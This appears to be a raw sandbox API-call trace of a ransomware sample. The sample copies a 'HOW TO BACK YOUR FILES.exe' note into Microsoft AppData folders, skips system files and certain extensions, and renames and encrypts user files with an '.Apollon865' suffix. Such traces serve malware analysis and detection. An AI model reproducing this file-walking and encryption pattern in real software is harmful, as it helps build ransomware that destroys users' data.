	[0043.114] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c4eb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.114] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.114] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.114] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.114] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c4eb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.114] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.114] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.114] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.114] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.114] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31c4eb10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.114] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.114] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31c4eb10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.114] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.114] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0043.114] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint"
	[0043.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0043.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0043.114] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint") returned 66
	[0043.115] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint"
	[0043.115] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\powerpoint\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.127] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.128] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c4eb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.128] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.128] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.128] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.128] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c4eb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.128] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.128] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.128] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.128] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.128] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31c4eb10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.128] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.128] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31c4eb10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31c4eb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.128] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.128] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0043.128] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook"
	[0043.128] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0043.128] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0043.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook") returned 63
	[0043.129] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook"
	[0043.129] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.129] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.133] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.134] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x31c74c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c74c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.134] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.134] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.134] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.134] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x31c74c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c74c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.134] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.134] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.134] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.134] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.134] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31c74c70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31c74c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.134] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.134] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5de69980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5de69980, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5e0c9040, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1
	[0043.134] lstrcmpiW (lpString1="Outlook.srs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.134] lstrcmpiW (lpString1="Outlook.srs", lpString2="Apollon865.txt.exe") returned 1
	[0043.134] lstrcmpiW (lpString1="Outlook.srs", lpString2=".") returned 1
	[0043.134] lstrcmpiW (lpString1="Outlook.srs", lpString2="..") returned 1
	[0043.134] lstrcmpiW (lpString1="Outlook.srs", lpString2="windows") returned -1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="bootmgr") returned 1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="temp") returned -1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="pagefile.sys") returned -1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="boot") returned 1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="ids.txt") returned 1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="ntuser.dat") returned 1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="perflogs") returned -1
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2="MSBuild") returned 1
	[0043.135] lstrlenW (lpString="Outlook.srs") returned 11
	[0043.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned 65
	[0043.135] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Outlook.srs" | out: lpString1="Outlook.srs") returned="Outlook.srs"
	[0043.135] lstrlenW (lpString="Outlook.srs") returned 11
	[0043.135] lstrlenW (lpString="Apollon865") returned 10
	[0043.135] lstrcmpiW (lpString1="utlook.srs", lpString2="Apollon865") returned 1
	[0043.135] lstrlenW (lpString=".dll") returned 4
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2=".dll") returned 1
	[0043.135] lstrlenW (lpString=".lnk") returned 4
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2=".lnk") returned 1
	[0043.135] lstrlenW (lpString=".ini") returned 4
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2=".ini") returned 1
	[0043.135] lstrlenW (lpString=".sys") returned 4
	[0043.135] lstrcmpiW (lpString1="Outlook.srs", lpString2=".sys") returned 1
	[0043.135] lstrlenW (lpString="Outlook.srs") returned 11
	[0043.135] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Outlook.xml" | out: lpString1="Outlook.xml") returned="Outlook.xml"
	[0043.135] lstrlenW (lpString="Outlook.xml") returned 11
	[0043.135] lstrlenW (lpString="Apollon865") returned 10
	[0043.135] lstrcmpiW (lpString1="utlook.xml", lpString2="Apollon865") returned 1
	[0043.135] lstrlenW (lpString=".dll") returned 4
	[0043.135] lstrcmpiW (lpString1="Outlook.xml", lpString2=".dll") returned 1
	[0043.135] lstrlenW (lpString=".lnk") returned 4
	[0043.136] lstrcmpiW (lpString1="Outlook.xml", lpString2=".lnk") returned 1
	[0043.136] lstrlenW (lpString=".ini") returned 4
	[0043.136] lstrcmpiW (lpString1="Outlook.xml", lpString2=".ini") returned 1
	[0043.136] lstrlenW (lpString=".sys") returned 4
	[0043.136] lstrcmpiW (lpString1="Outlook.xml", lpString2=".sys") returned 1
	[0043.136] lstrlenW (lpString="Outlook.xml") returned 11
	[0043.136] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.Apollon865") returned 86
	[0043.136] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.apollon865"), dwFlags=0x1) returned 1
	[0043.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0043.137] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2466) returned 1
	[0043.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0043.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0043.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfa30
	[0043.137] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfab8) returned 1
	[0043.138] CryptGenRandom (in: hProv=0x5bfab8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0043.138] CryptReleaseContext (hProv=0x5bfab8, dwFlags=0x0) returned 1
	[0043.138] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb0, lpName=0x0) returned 0x150
	[0043.140] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcb0) returned 0x100000
	[0043.141] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfab8) returned 1
	[0043.142] CryptGenRandom (in: hProv=0x5bfab8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0043.142] CryptReleaseContext (hProv=0x5bfab8, dwFlags=0x0) returned 1
	[0043.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0043.142] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0043.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0043.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0043.142] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0043.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0043.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0043.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0043.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0043.143] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0043.143] CloseHandle (hObject=0x150) returned 1
	[0043.143] CloseHandle (hObject=0x158) returned 1
	[0043.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0043.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0043.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0043.145] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6215c440, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 0
	[0043.145] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.145] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0043.145] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office"
	[0043.145] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf920 | out: hHeap=0x580000) returned 1
	[0043.145] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0043.145] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office") returned 62
	[0043.145] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office"
	[0043.145] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.145] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.150] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.150] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31c9add0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c9add0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.150] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.150] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.150] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.150] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31c9add0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31c9add0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.150] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.150] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.151] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.151] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.151] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31c9add0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31c9add0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.151] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.151] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f6ce7b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f6ce7b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f6ce7b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="Apollon865.txt.exe") returned 1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2=".") returned 1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="..") returned 1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="windows") returned -1
	[0043.151] lstrcmpiW (lpString1="MSO1033.acl", lpString2="bootmgr") returned 1
